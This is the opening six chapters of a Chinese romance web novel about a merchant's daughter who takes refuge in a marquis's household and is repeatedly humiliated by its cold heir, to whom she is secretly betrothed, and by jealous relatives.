《表姑娘拒绝偏执世子后,被抵墙角了》 第一章 初见 肃秋之后,迎来了寒冬。 朔风卷着几丝残雪,飘飘然落下。 靖南侯府内,沈清念正领着菱儿往秋水轩去,那是她姨母苏姨娘的住处。 沈清念神色有些凝重。 她昨日与姨母见面见得匆忙,好些事没来得及说,也不知姨母这会儿得不得空。 她投靠过来要紧的事情就是赶紧筹到银两,好开了铺子,早日带母亲脱离那个火坑。 正想着,身边传来菱儿低低的声音:“小姐,您姨母过来了。” “旁边还有…还有一位公子。” 沈清念看过去,不远处有一女子踩着软底绣鞋,带着两名丫头,穿过月洞门正朝这边走过来。 那女子眉眼如黛,肌肤赛雪,裙摆随着脚步轻轻摇曳,如弱柳扶风般轻盈。 那便是自己的姨母,苏姨娘。 苏姨娘身后跟着一位五官俊朗的公子,头发用玉冠束起来,温润如玉的模样。 眉眼间与姨母依稀有些相似,想那应该就是自己的表哥谢昭了。 那头苏姨娘见着沈清念,浅浅一笑,眼尾似有若无的弯起来,带着几分摄人的娇美。 沈念青也忙走过去。 苏姨娘温柔地握上沈清念的手:“念清,这是你的表哥谢昭,昨日他当值,没得及回家见让你你一面。” 谢昭今日一早才从衙内下值赶回来,身上还穿着朝服。 原本昨日母亲派人告知他,他的表妹来了,但昨日该他当值,事务繁多,脱不了身,也没见着,这回倒是赶回来见着了。 他瞧了瞧,见着自己这位表妹面容秀丽,气质温婉,鼻尖儿微红,像只小猫儿似的,让他有一种亲切之感。 他主动搭话:“昨日上值不得空闲,未及时回府与表妹相见,望表妹莫要怪罪。” 说完,谢昭掏出一支芍药簪子,递过去:“这是给你赔罪的,可别嫌弃。” 看着眼前递过来的簪子,沈清念犹豫着要不要接。 苏姨娘见状,直接拿过簪子塞到沈清念的手中,笑道:“既是你表哥的心意,你就收下,可不能便宜了这小子。” 沈清念原想推拒,但看见谢昭眉眼弯弯,便含笑收下,又对着谢昭甜甜一笑:“多谢表哥。” 谢昭瞧着这笑,莫名其妙的,心就漏了两拍,暗道自己的表妹真好看! 苏姨娘又说道:“大公子回府了,老夫人让府里各房的都去问心堂,你便与我们一同去吧。” 说罢,又替沈清念拢了拢披风。 其实昨日沈念清刚来,她就恰巧被二夫人叫走,也没来及的叙旧。 今日大公子回府,便特意来寻了沈清念,免得她去找她,白跑一趟。 况且昨日也是老夫人答应了沈念清留下,于情于理,沈清念都应当去谢谢老夫人。 正寒暄说话时,谢昭听见一阵脚步声,回头看见来人,便笑了一声,对着谢宴之喊了一声:“大哥。” 沈清念顺着谢昭回头的方向看去,只见一个高大的身形正跨进月洞门,身形如松,朗眉星目。 那人越走越近,身上带着股压迫气势,沈清念忙低下头福了福身。 面前只见一双黑色带金丝线的靴子,再抬眼,是一身玄衣,更衬他身形挺拔。 又见他腰上玉带与护腕讲究,还带着股冷清高华,听谢昭刚才的称呼,便猜到这应该就是侯府大房长子。 昨日她们到府上的时候,就听到丫头们私下议论,说府上的大公子清风霁月,年轻有为,好些来侯府投靠的,几乎都想要嫁给他,飞上枝头变凤凰。 她虽也是投靠来的,但不该有的心思不能有,不该做的不做。 想要在这府上安生过日子,重要的是安分守己。 安分守己这四个字,在她昨日见二夫人林氏时就记住了。 攀龙附凤她是不想的,况且她已有婚约。 但这大公子既是侯府未来的主人,给人留个好印象也不失为明智之举。 她细思一下,也跟着谢昭乖巧地对着面前那威严高大的人喊了一声:“表哥安好。” 她想着她是谢昭的表妹,喊谢昭的大哥一声表哥,也没什么不对。 谢宴之只是冷冷看了一眼沈清念,便皱紧了眉。 沈清念只看了一眼谢宴之便又垂下了目光,她刚才从谢宴之脸上看到的似乎是一丝厌恶。 这不过两人第一回见,那厌恶又是从何来的。 可她也没做什么不合情理的事,更没做什么不妥的事情,又问心无愧的目光坦然。 她正想时,头顶响起冰凉的声音让她浑身一冷:“表哥不是你能叫的。” “记着你的身份。” 威严的声音含着厌恶,旁人听了都一愣。 谢昭听了这话一愣,忙想要上前为沈清念说话,却被谢宴之一个眼神吓退。 苏姨娘更是脸色发白,她了解大公子的性子,大公子一向冷心,此时上去劝说,只会适得其反。 她只能紧紧的攥紧手中的绢帕。 菱儿吓得跪在地上,她不明白这位大公子怎么忽的就这么凶。 谢宴之冷淡的目光再扫过旁边的苏姨娘:“管好院子里的人,好好教教规矩。” 谢昭担忧的想要上去安慰沈清念,却被谢宴之一把抓住了衣领,将他提到一边。 他比谢昭大四岁,这些年又在军中操练,在绝对的力量面前,谢昭毫无招架之力。 沈清念的身体被谢昭握在她手上的手一拽,没有站稳摔在一旁的地上。 白色的披风沾了一些泥,混着雪,显得有些脏乱。 沈清念感觉肩膀被撞得生疼。 谢昭忙要走过去要伸手去扶沈清念:“念妹妹!” 身后却传来谢宴之的声音:“谢昭,滚过来!” 他不信这个女子就这么柔弱,不过是顺势摔在谢昭面前,故作柔弱罢了。 这样的手段,他见的多了。 谢昭心下一愣,将沈清念扶起后转身看向谢宴之。 而沈清念刚才被捏着下巴,都没哭出来,这下疼得眼眶泛红,眼泪似要滚出来,莫不做声的站在一边。 谢宴之皱眉看着谢昭,打算路上提醒他,便带着谢昭及一行随从,继续迈着大步子朝问心堂去。 这头苏姨娘过来握住沈清念的手,眼里充满了心疼:“念儿,你摔疼了吗?让姨母瞧瞧。” 这大公子在府里所有人都避着,今儿却在这遇着了,也不知今日念儿是何处惹了他不高兴。 菱儿眼里着泪,一边帮沈清念擦披风上的泥水,一边道:“这大公子也太吓人了。” 也太坏了,居然欺负小姐! 但这话没敢说出口,小姐让她在这侯府里定要谨言慎行。 沈清念轻轻道:“姨母放心,我无碍的。” 苏姨娘叹息,领着沈清念继续往问心堂去,今日是给谢宴之接风,不能耽误了。 第二章 不看她配不配 几人走到一处小路,忽听一阵嬉笑说话声传入耳中,声音略微压低,但也没有避讳。 回头望过去,只见芭蕉叶下,两个丫头正切切私语。 一人脸上带着嘲讽的笑到:“你瞧瞧,又来一个到咱们府上投奔的穷亲戚。” “当来了侯府就能做小姐呢,居然还敢叫大公子表哥。” “那心思都写在脸上了,当大公子认谁都做表妹的?也不看她配不配。” “我看大公子就该当场把她撵出府去。” 话落下,便是一阵窃窃私语的嬉笑声。 菱儿咬唇,气的身上都抖了抖。 自家小姐虽说是商户之女,比不得侯府百年世家的姑娘尊贵,可要不是遭了难,谁想投靠过来寄人篱下。 老爷猪油蒙了心,非要将小姐推入江家那个火坑,没成想过来竟被一个丫头在后面议论。 沈清念只是微微皱了皱眉,按住菱儿要上前理论的动作,拉着她继续转身往前走。 靖南侯府的,即便是丫头也是见惯了达官贵人的,像她这般出生的,没什么好在意的。 况且她昨日才入府,对侯府的规矩还不了解,她本就是来投靠的,也更不想生事,给姨母惹麻烦。 加之在这偌大的侯府里,像她这样微不足道的人还有许多。 苏姨娘想要上前教训那两个丫头,沈清念拦住了她,低声道:“姨母,左右不过是下人的几句闲话,我受得住的。” “这时候也不是计较这个的时候。” “咱们快去问心堂吧,在这里已耽搁许久了。” 苏姨娘觉着有道理,看了那两个丫鬟一眼,就带着沈清念赶往问心堂。 苏姨娘温柔地握上沈清念的手:“我们快去吧” 说罢,又替沈清念拢了拢披风。 苏姨娘带着沈清念到问心堂时,里面已经坐满了人。 苏姨娘带着沈清念进了堂内,里头烧着银霜炭,十分暖和。 秋叶上前去替苏姨娘解了披风之后,又退到后面,恭恭敬敬的立着。 秋叶是苏姨娘的一直带在身边的丫头,熟悉侯府的规矩,菱儿便也学着秋叶的样子,走上去为沈清念解了披风,立在沈清念身后。 苏姨娘双手放在腰侧,朝着老太太垂眸福身:“妾给老夫人请安。” 老夫人抬眼看了苏姨娘一眼,那小腰盈盈一握,声音婉转温柔,我见犹怜。 难怪老二从前是那般宠爱她,连侯府都可以不要。 沈清念也依着规矩跟着跪在地上,向老夫人磕了一个头,又谢了一回老太太昨日的收留。 声音如珠,仪态规矩,任是一点不好也挑不出来。 商户里养大的,能有这般规矩,已经是十分不错了。 老夫人转了转手中的佛珠,脸上却是不冷不淡的笑意:“起来吧。” 老太太这反应众人看在眼里,对沈清念倒也不冷不热了。 说到底,不过多养个人,侯府里养的起,但乡下人终究是乡下人,比不得侯府里的姑娘。 更何况还只是个姨娘的侄女,那更上不得什么台面。 沈清念跟着姨母落座时,便觉察到有人正看着自己。 她抬头看去,原来是姨母的主母,二夫人林氏的女儿谢敏,见着她看来,又转过了头去。 谢敏唇边勾着讽刺的笑,她母亲说服老太太留下沈清念,不过是看她和她那个狐狸精姨母一样勾人,先让你得意几天,后面可有大用处呢。 昨日她刚回院子,就见两个小丫头在花架下面说闲话:“刚你瞧见了吗,这苏姨娘老家来的表姑娘真真美,竟比咱们大小姐还美呢。” 谢敏上去就打了那个丫鬟一个打耳光,这才走进堂内立在一旁。 见着沈清念在那儿,一身发旧的月白长裙,发上简简单单一支银簪。 她不的不承认,这是个好看的人。 待沈清念走后,谢敏问母亲为何不将沈清念撵走,留着这样的狐媚子干什么! 林氏笑笑:“你也觉得她美吧。” “我记得广德侯的二爷喜欢收集美人,若是将她送过去,让广德侯二爷出来说话,你与陆世子的婚事就有着落了。” 广德侯府的二爷,手握权柄,独好美人儿,但他见过的美人儿太多,寻常美人早就看不上,许多拍马屁的也都是拍在马屁股上。 但林氏有信心,等他看到了沈清念,必然会两眼放光。 而这头沈清念规规矩矩的坐在的位置上,她明白自己亦是代表着姨母的脸面,仪态不曾有过一刻松懈。 那头谢宴之换了身衣服,才到问心堂来。 谢宴之来到老夫人跟前,便朝着老夫人问安:“孙儿给祖母请安。” 老夫人嘴角皱纹随着笑意浅浅的舒展开来:“你平安回来就好。” 谢宴之此次随巡抚大人一同治理岭南暴乱之事,已有半年未归家,中途更是一封家书没有。 老夫人担心得整宿整宿睡不着觉,好在是一切顺利。 靖南侯府本已有颓败之势,后辈里没有大出息的,还好出了谢宴之,少年状元,能文能武,如今不仅天子重臣,更是靖南侯府的希望,重振门楣。 她拉住谢宴之的手,把他拉到自己身边坐着,一脸慈祥地看着谢宴之。 或许岭南条件恶劣,谢宴之的下颌更加棱角分明,人消瘦了些许,却更显冷清,眼眸更加锐利有神。 老夫人拍拍谢宴之的手背,心疼不已:“孙儿受苦了。” 这时候大夫人薛氏在丫鬟的搀扶下姗姗来迟,跟在身后的是谢宴之的妹妹谢姝,以及信阳侯府的二小姐顾灵玉。 只见薛氏脸色发白,眼眶泛红。 谢宴之看到自己的继母薛氏,起身扶着她坐下:“母亲为何这般憔悴?身子有何不适?” 谢姝正欲回答,旁边的顾灵玉抢先对谢宴之道:“表哥,姨母平日里要打理侯府,又牵挂着你,许久你都没有消息,姨母整日担惊受怕的,身子熬不住,生了风寒。” “我可是一直守在姨母身边……” 顾灵玉眼睛亮晶晶的,对着谢宴之笑靥如花,又故作娇羞的摇头晃脑,头上的步摇发出叮叮当当的声响。 谢宴之看来的冷淡的眼眸叫人不敢对视,即便他一句话没说,顾灵玉却悻悻地闭了嘴。 沈清念看了眼那幕又收回目光,正好错过了谢宴之看来的眼神。 第三章 决不能要 那头都围着谢宴之寒暄,毕竟将来侯府迟早要交到谢宴之手上,如今他又被皇上委以重任,面上都想与他多寒暄几句。 另一头大夫人薛氏慈爱的看着谢宴之,掏出帕子,抹了抹眼睛:“宴之,你离开的这些日子,母亲让人为你备了一些冬衣,等会儿就送到你的院中。” 沈清念初一听到这名字时一愣,接着又忽地抬头,看向谢宴之。 手中的绢帕攥得紧紧的。 而菱儿也是睁大了眼睛,震惊歪过头看向自家小姐。 见沈清念看向大公子,心下顿时了然,想必大公子就是那人了。 沈清念没想到,侯府大公子竟然叫谢宴之。 当初逃走时,母亲只说与她有婚约的人叫谢宴之。 难道就是这个谢宴之? 沈清念紧了紧手,微微蹙眉。 此时瞧着那谢宴之阴沉着脸看着众人。 沈清念撇了撇嘴:脸黑得跟锅底一样,决不能要。 她失神时,又忽的对上一对洞察一切的眼眸。 沈清念没想到这煞神这么敏锐。 她赶紧低下了头,谢宴之那道目光如鹰隼,竟能让人生寒。 沈清念又看着菱儿,比了个噤声的手势,让她暂时别说话。 眼前又有一只大手伸了过来,上头是几颗剥好的核桃。 沈清念抬头,便见着谢昭含笑的脸庞。 她顿了一瞬又接过核桃,吃了一颗,却察觉到那道目光一直在自己身上。 她不敢再看向那边。 谢宴之却是多看了一眼谢昭在沈清念面前献殷勤的模样皱了眉。 他刚才见那个打秋风的女子虽假装专注的同谢昭说话,眼神又偷偷向自己这边飘来。 他嘴角一抿,露出一丝讥讽。 这女子怕不是个简单的。 明明刚刚已经给过她警告了。 今日他进门之前,管家已经禀报过他了,府上又来了一位打秋风的表小姐。 而他在月洞门的时候看得真切,这女子眼含春波,对谢昭欲拒还迎。 这做派,分明同之前那些想攀高枝儿的一个样儿。 只是这回,她挑了谢昭这个二房庶子下手。靖南侯府这一代的男丁就他和谢昭。 偏谢昭还跟个傻子一样,落入她的圈套。 所以他要让她认清自己的身份,给她一点教训。 没曾想她竟然无视他的警告,还一边勾搭着表弟,一边又在觊觎自己。 他本是想收回目光,却不禁地又往她看去。 只见她鬓角上那支银簪上的流苏轻轻晃动,脸庞白皙,睫毛像一把羽扇,在眼睑处投下一小片浅影,令人挪不开眼。 小小的鼻梁秀挺,此刻腮帮子一鼓一鼓的,正吃着核桃,不知说到了趣事,二人相视而笑。 谢宴之冷嗤,挪开了视线。 这种投靠来的女子,惯会些这种蹩脚的把戏,他再清楚不过这些女子的真面目。 他又揉了揉眉头,他连夜快马加鞭赶回京城,还要写文书上呈给皇上,实在没精力在这里应付,只待了一会儿与母亲说了一声,便告辞退下。 今日本就是为了谢宴之坐在一起的,他一走,自然就散了。 苏姨娘要留下给老夫人揉肩,菱儿为沈清念系好了披风,就往回走。 路上菱儿想问大公子的事,却又不知如何开口,犹犹豫豫的。 她一方面觉着大公子是人中龙凤,小姐嫁给大公子后定不会再受人欺负,一方面她又觉得大公子太凶了。 正想着,假山后突然冲出了一个婆子来,朝着菱儿就直直撞了上去。 那婆子膀大腰粗,撞得菱儿生疼,又被撞倒在地上。 沈清念正要过去扶菱儿,身后却传来气势汹汹 她转身看去,只见假山后又冲出两个婆子,将菱儿死死按在地上。 沈清念看清来人,是刚才跟在大夫人身边的那位姑娘,谢宴之的表妹顾灵玉。 顾灵玉已经站到了面前,眼神倨傲的看向她,声音更是傲慢:“不过侯府里一个投靠来的远亲,哪里来的胆子敢撞我的婆子?” 说罢,不等沈清念反应,一个老婆子就啪啪打了菱儿两个耳光。 菱儿只觉得两只耳朵嗡嗡作响,又忙朝着沈清念解释:“小姐,我没有,分明是她自己撞上来的。” 菱儿委屈得眼泪簌簌的往下掉,两边的脸又红又肿,嘴角都渗出了血。 沈清念当然知道是那婆子自己撞上来的,这不过是顾灵玉要找自己麻烦罢了。 但她与顾灵玉今日不过第一回见,她却是不明白她为何要这样做的。 她扫了一眼地上还装模作样叫唤的婆子,又看着顾灵玉:“我的丫头没又撞人。” “要是顾姑娘对我有什么误会,何不直说?” 顾灵玉一听,顿时又来了火气。这个狐媚子脾气还挺大。 顾灵玉冷笑一声问地上的婆子:“刘妈妈,你被撞得重不重?” 地上那婆子就连忙抱着腿说:“哎哟,哎哟,老奴的骨头都快断了,痛死了,小姐为老奴做主啊。” 沈清念皱眉,有看向顾灵玉:“侯府里有府医,倒不如叫来瞧瞧,谁身上的伤势重?” “我的丫头总不能撞人把自己装的伤势更重吧?” 顾灵玉一愣,没想到沈清念这么伶牙俐齿。 今日本来就是要借故找沈清念的麻烦了,要是真的请了府医,事情闹大了,对她在宴之哥哥心里的印象也不好。 宴之哥哥本来就不喜欢她欺负下人。 顾灵玉咬咬牙,忽然就朝着沈清念打了一个巴掌过去。 沈清念没想到顾灵玉忽然动手,被扇得眼前发黑,身子没稳住摔倒在地上。 顾灵玉冷着脸走到沈清念面前,弯腰伸出手,狠狠捏住她的下巴,逼迫她抬头,又咬牙切齿的警告:“你以后见到宴之表哥记得给我绕道走,再让我发现你用这张脸勾引他,绝没你的好果子吃,记住了吗?” 顾灵玉今日看到宴之表哥往沈清念身上看了两回了,她才注意到二房这边多了一个这么漂亮的人。 宴之哥哥从来不曾多看过女子,还是用那样专注的眼神看了好几眼。 连她都没有被宴之哥哥那样看过,沈清念又凭什么? 这个才到府不过两日的贱人,永远都别想用她那张狐媚子脸勾引到宴之表哥。 她此刻看着沈清念的这张脸,瓷白的脸上眼角红红的,没有想象中的狼狈,反让人觉着楚楚动人,惹人怜惜。 她好想划烂这张脸。 沈清念看着顾灵玉从怀里掏出一把短刀,朝她的脸划了过来…… 第四章 春心荡漾了? 匕首闪着寒光,沈清念脸色一变。 眼看匕首就要划到沈清念的脸上时,顾灵玉又忽然收了力气,用短刀在沈清念的脸上拍了拍。 她现在还不能这样做,万一被宴之哥哥发现,会更厌恶她的。 顾灵玉放开了沈清念,又带着婆子趾高气昂的向大夫人的院子走去。 先给这贱人一个警告,要是她再不安分,就别怪她真动她的脸了。 菱儿得了自由,忙挣扎着起身要去扶小姐,只是才过去看清了小姐的脸,眼泪就如冒豆子般模糊了视线。 小姐的半边脸红肿得厉害,发髻歪在一侧,几丝发丝贴在脸颊上。 她看得都心疼的厉害。 菱儿一边扶着沈清念起来,一边又哽咽着:“对不起小姐,都怪我不好,是我连累了小姐……” 沈清念看着菱儿嘴角的血,又看菱儿簌簌流下眼泪,掏出绢帕为她擦了去,低声道:“别胡说,怪不得你,是她们欺人太甚。” 要怪也只能怪那个煞神。 她又镇定的轻轻安慰:“往后会为你讨回公道的。” 这时又听一声爽朗的声音:“念妹妹。” 沈清念看过去,却是谢昭往这边走了过来。 谢昭刚刚陪母亲将老夫人送入里间去,出来时,就只看见的表妹的一片衣角消失在这个方向了。 他抓紧脚步跟了过来,没想到真见到了。 只是他走近了才看见表妹脸上红肿,上头鲜红的五个手指印清晰,显然是被人打了耳光。 谢昭眉头一皱,忙上前问道:“清妹妹,谁打的你?” 菱儿正欲开口,沈清念一把按住了她的手,示意她不要说话。 她看得出来表哥是真的关心她,但她刚来,并不想给表哥也惹上麻烦。 顾灵玉是信阳侯府嫡女,不是表哥这二房庶子能得罪得起的。 且这事闹大,府里那些夫人也不会觉得她多委屈,反而会嫌她惹出了麻烦事,也让姨母难做。 她道:“也不是什么大事,脸上落了个虫子,菱儿给拍的。” 谢昭一愣,看向菱儿,却见她脸上也红肿,嘴角带血,还有什么不明白的,这根本不是虫子。 他忙追问,沈清念一双盈盈眸子看向他:“表哥不要再问了。” “也还请表哥别将这事告诉姨母。” 说着她垂眸:“我才刚来,不想惹出麻烦来。” 谢昭愣了愣。 忽然觉得这一刻的沈清念让他心头忽的心疼。 他默了神情,没有再多问,只打算后面去查,又点头:“我先送你回去。” 沈清念慢慢的直起身来,却感觉腿麻得厉害,身子一歪,就要栽到地上。谢昭眼疾手快,伸出手一把将沈清念搂到怀里。 沈清念靠在谢昭胸膛上,听着谢昭胸膛上沉稳的心跳声,意识到此刻自己正在谢昭怀里,赶紧向后退了几步。 一下失去了怀里的柔软,谢昭感觉少了些什么,多了一份不自在。 沈清念低声道:“表哥,这里离浅月居不远,我们自己回去就好了,你也快回吧。” 说着她轻轻朝着谢昭福了一礼,又细声道:“刚才也谢谢表哥。” 说罢带着菱儿转身离开。 此刻她头发乱了,衣裳也弄脏了,要是再让人看到她与这侯府上的男子这般,不知要传出什么闲言碎语,惹出什么乱子来。 谢昭站在原地看着沈清念二人走远,袅娜的背影忽远忽近,如丹青水墨,透着股冷清。 直到那一抹身影走远,他打算回自己的院子去,回过头却发现谢宴之正站在不远处,直直盯着他。 他的心咯噔一下,自己这位嫡兄平日里很少会见到,今日已遇见两回了。 还有他在这里站了多久了? “大哥!”谢昭对着谢宴之喊了一声。 “嗯”谢宴之淡淡的回了一声,眼睛还望着沈清念主仆消失的方向。 刚才发生的事,他都看见了。 这顾灵玉平日里刁钻跋扈,惹得人厌烦,今日的事情虽做的过分了些,但让沈清念安分守己也是不错的。 她要是本分安分,往后也不会有麻烦。 谢昭见大哥幽幽的盯着那头,害怕堂哥又对表妹产生不好的想法。 他这堂兄他是知道的,对这府上来的女子都不喜欢。 只是这次,对表妹的反应太过了些。 他认真对谢宴之说道:“大哥,表妹她昨日刚到侯府,对府上的规矩还有些不了解,若有什么没思虑周道的地方,请表哥切莫往心里去。” 昨日?就一日功夫,那女人就已经哄得谢昭春心荡漾了? 谢宴之又想起刚刚沈清念拒绝谢昭的样子,不过也是欲拒还迎的手段罢了。 她临走时还朝他的方向看了一眼。 “大哥……?” 见谢宴之不再说话,谢昭又叫了一声。 谢宴之收回目光,紧抿着唇,什么都没说的转身往回走。 谢昭正感觉疑惑之时,谢宴之清冷的声音又传来:“谢昭,记住你的身份!她不适合你!” 谢昭一下子怔住了,兄长只比自己大四岁,自己的小心思却一下就被他看出来了。 但他还未跟表妹表明心意,也不知表妹心里是如何想的,这个时候不能让表妹被人误会。 便说道:“是表妹刚一时没站稳,我才扶了她一把。” 听到这话,谢宴之回头看了他一眼,谢昭只觉得这一眼仿佛要将他看穿,周身腾起一股寒意。 目送谢宴之离开,谢昭也往府外去,二夫人让他去济世堂给他父亲拿药,不能再耽搁了。 浅月居。 沈清念和菱儿相互为对方上了药。 菱儿看着小姐眉头紧锁,一副心事重重的样子,想了想,还是缓缓开了口:“小姐,刚才你为何不说与大公子有婚约?” “那样她们就知你是未来的世子夫人,哪还敢欺负你!” “那顾小姐一口一个勾引,当真是作践人” 沈清念看着菱儿气鼓鼓的模样,摇了摇头:“你怎知我就是世子夫人了?侯府会让一个商户之女嫁给宗子,当侯府的女主人吗?” 或许连她的母亲都不知道与她有婚约的谢宴之是侯府的长孙,侯府的世子吧。 第五章 难道我不该回礼? 菱儿一下子愣住了。 她以为有了婚约,小姐就会和大公子成婚,从没想过门当户对这件事。 “小姐的意思是世子还有可能悔婚?” 沈清念问:“你可曾听府上的人说过大公子有过婚约?” 菱儿摇头,来了府上两日,也未听过大公子曾与哪家小姐有过婚约的。 沈清念叹息,看来他们这桩婚事在侯府内应该是无人知晓。 菱儿又小声嘟囔一句:“可小姐那么美。” 沈清念无奈低笑:“美?一个女子最不值得一提的,就是美貌。” 她母亲就很美,结果呢,还不是被父亲厌弃,终日郁郁寡欢,不见欢颜。 沈清念见菱儿还是一脸懵,也不打算解释什么,只是凑到菱儿身边低声道:“就算不悔婚,也会有人阻止不是?” 那个谢宴之就是个祸害!害得她无端被人欺辱!她确定菱儿不会再想经历一遍刚才的事了。 菱儿的脑袋里瞬间浮现起方才被打的画面,一下子觉着脸上一阵抽疼。 她好像懂小姐的意思了。 今日那顾小姐误会小姐勾引大公子,就让自己和小姐挨了巴掌,这要是知道了婚约的事…… 她紧紧的捂住了嘴巴,眼睛睁得大大的,看着沈清念。 见菱儿恍然大悟的样子,沈清念语重心长的对菱儿道:“所以婚约之事,往后不可再提,权当没有这回事,可记住了?” 她沈清念从今日起就是没有婚约的人。 菱儿重重点头,为了她和小姐的安危,打死也不能说。 再说她也不太想要大公子那样的姑爷。 第二日清晨,菱儿醒来感觉脸和嘴角都不疼了。 她起身去打了盆水照了照,发现红肿已经消失,又掀开帘子进到里屋。 只见雕花窗下,小姐穿着一身月白的寝衣,慵懒地坐在铜镜前。 纤细的手指,拿着绿檀梳子,一下一下,梳着自己如墨般的长发。 柔和的阳光洒在小姐身上,似画儿一样。 小姐长得真美。菱儿不禁感叹。 “小姐,二公子让人送来的药膏好神奇,才一夜,红肿就好得差不多了。” 菱儿边说边将铜盆放到架子上,将帕子放进盆里,又捞起来拧干了递给沈清念。 昨夜谢昭回府时,还派人给她们送了消肿的药膏。 沈清念放下梳子,接过帕子洗了洗脸:“我们一会儿要去姨母的院子,顺道也去跟表哥道一声谢。” 随即她穿了一身降红色的长裙,披上白色的披风,就往苏姨娘的院子去了。 来了苏姨娘的院子,秋叶见到沈清念与菱儿过来,将二人迎进了屋子。 又倒了茶水递给沈清念:“表小姐喝口茶吧,姨娘跟着二夫人出了府,不知何时才能回。” 本来今日是想来找姨母说银子的事情,既然姨母不在,她也就只能明日再来。 沈清念起身道:“那我明日再来吧。” 临出门时,秋叶又拿出一盘糕点,亮晶晶的很漂亮。 “表小姐,这是福源斋的透花糍,最是爽口,极难买到。” “二夫人赏了一些给姨娘,姨娘让您带些回去尝尝。” 菱儿接过来:“多谢秋叶姐姐。” 姨母不在,沈清念也不好往表哥的院子去,便同菱儿往回走。 路过一段院子的时候,看到鱼池边有一片墨黑色的衣袍,那背影一看就是谢宴之。 他颀长的身形靠在栏杆旁,也不知道在做什么,旁边立着一人,似乎是他的随从。 沈清念暗道怎么又遇见他了。现在往回走肯定会被发现。 躲也躲不过。 谢宴之多年习武,他早就瞥见了不远处的沈清念。 又见沈清念今日穿着降红的衣服,丫鬟手上还端着福源斋的透花糍,唇边淡淡冷哼一声。 旁边的元青一边恭敬地将书信递给谢宴之,一边想着:这府里谁不知道,自家大公子最爱的糕点就是福源斋的透花糍。 这位表小姐不知从何处得了消息。 还特意穿了一身降红色。 别人不知道,他在大公子身边服侍了七八年了,他可是知道,这大公子最喜绛红色。 这可真是算盘珠子都蹦到了脸上了。 看公子的神情,这表小姐怕是要倒霉了。 沈清念见碰着了谢宴之,想着直接走有点没规矩,只要硬着头皮带着菱儿上前福了福身:“世子安好。” 虽然非常讨厌这个世子,但该有的礼仪还是要有的。 这时,元青看见湖中的鱼儿快速逃散开去,紧张道;“爷,有水蛇!” 只见湖中一条纤长的蛇,通体发黑,快速的游动着。 谢宴之嘴角一扬,抽出佩剑,挑起水蛇,一下就甩到沈清念所在之处。 菱儿抬头就见黑蛇从天而降,吓得捂着头尖叫着跑开了。 沈清念也被吓得跌坐在地上。 水蛇落地后,吐着长长的信子,就向沈清念爬过去。 菱儿在另一侧,焦急地四处张望,嘴里祈祷着:“快来人,救救小姐。” 眼泪直直的掉下来。 沈清念看着那逼近的水蛇,不知这谢宴之又发什么疯。 一边盯着水蛇,一边大声问道:“世子这是何意,为何为难于我?” 谢宴之道:“你送透花糍给本世子,难道我不该回礼?” “我瞧着这条水蛇予你正合适。” 沈清念看着散落在地的透花糍,她都要气笑了。 她何时说要将透花糍送给他了? 谢宴之不再说话,只眯着眼睛,盯着沈清念。 眼见那水蛇已经快要到脚背了,菱儿想要过去帮沈清念,却见沈清念朝着她摇摇头。 沈清念四下看着,慢慢往池边挪动。 在水蛇弓着身子,就要扑过来时,沈清念身子一闪,蛇便掉入池中,飞快的游走了。 菱儿赶紧过来扶着沈清念,她感觉小姐的手心都湿漉漉的。 沈清念刚刚故作镇定,实则后背已被冷汗打湿,几缕发丝贴在脸颊上,透着些许狼狈。 沈清念又抬头看向谢宴之:“不知世子是如何得知这透花糍给你的?。” 谢宴之没有说话,身边的元青道:“这府上谁不知我们爷喜欢吃透花糍,从前那些个小姐都会买了送给爷。” 沈清念顿了顿,对菱儿道:“这透花糍是世子喜爱的糕点,以后二夫人再要赏,便让二夫人直接送到世子那里。” 说完又福了福身,带着菱儿朝浅月居的方向走去。 第六章 你的小娘子想要你抱抱呢 沈清念正要走的时候,身后忽传来一声低冷的声音。 声音虽不大,却含着一股不容忽视的威严。 “站住。” 沈清念一顿,回头看向谢宴之。 谢宴之冷淡的目光落在沈清念身上:“这种粗劣的把戏,往后不要再出现在我面前。” “也别给我穿这个颜色的衣裳,你不配。” “不然你绝没有这回好糊弄过去。” 沈清念心里顿了顿,心里莫名有些气恼。 她若有空闲想勾引他的把戏,早想出自己的生路了。 她抿唇垂眸,不说话,只是朝着谢宴之福了一礼,又解开了身上的降红色披风。 披风解下来,当着谢宴之的面,丢在了地上,接着头也不回地朝前走。 菱儿看着地上的披风一愣,赶紧捡了披风,又朝大公子福了福身,赶紧跟上小姐。 元青看着表姑娘解下了披风,显得挺识趣的,但又好似有那么点不对? 哪里不对,他想了想,该是她面色虽恭敬没有争辩,但却让人觉得不是那么回事。 这位表姑娘当真有些意思。 他回过头时,又发现自家爷的脸色越发阴沉了,手中的鱼食也在顷刻间化作齑粉,散在青石板上。 哎,爷又生气了。 这新来的表小姐怎么就不知道让着爷一些呢? 今日这般巧合,说没想引他家爷注意他都不信,好好的认个错就完了,何必呢。 主要瞧那张脸的确漂亮,说不定换种法子还能有机会。 能让爷注意和生气的表姑娘,也就这一个了。 元青正想着如何能令自家爷消消气,就见谢宴之冷笑一声:“她好得很。” 他不得不承认,这叫沈清念的女子是有几分手段的,的确是引起了他的注意。 这边菱儿追上了小姐,担心小姐受凉,一个劲儿地要将披风给小姐披上:“小姐,把披风披上吧,当心受了风寒。” 沈清念伸出一只手挡住菱儿的动作,倔强得不肯服输。 她真的气坏了,偏又不能发作。 不然她真要冲上去质问他,凭什么她穿这个颜色就是勾引他,这颜色是为他一人染的? “小姐……”菱儿语气变得焦急起来,这样冷的天,她真的好担心小姐着凉。 她朝四周看了看,小姐何必较真,委屈了自己的身子。 于是她又将披风递了过去。 沈清念自己又平静下来,看着菱儿手中的披风若有所思。 谢宴之让她不许再穿降红色,也就是说,他介意的不是衣裙,而是颜色。 难道这颜色有什么古怪之处? 可这披风原是姨母给她的。昨日她离开问心堂时,姨母派秋叶送来了这披风,秋叶对着她说:“表小姐,姨娘说您正是颜色最好的时候,不要总穿那么素净。” 沈清念看着那披风,底绒浓密厚重,面上顺滑挺直,每一寸都透着细腻油亮的光泽,一看就是上好的貉子毛。 “可这定是姨母的心爱之物,如此贵重,我实在无法收下。”沈清念推拒道。 秋叶笑了笑道:“表小姐莫要这样想,姨娘这些年在府里日日思念家中的亲人。”“好不容易把你盼来了,姨娘心里高兴,别说是这貉子披风了,再精贵的物件儿给您都使得的。您要体谅姨娘作为长辈的一片心意呀。” “来,我给您披上试试。”说着,秋叶便轻轻地将披风给她披上。 沈清念觉着这披风穿上身十分暖和,指尖轻轻抚上去,细腻丝滑,如流云裹身一般。 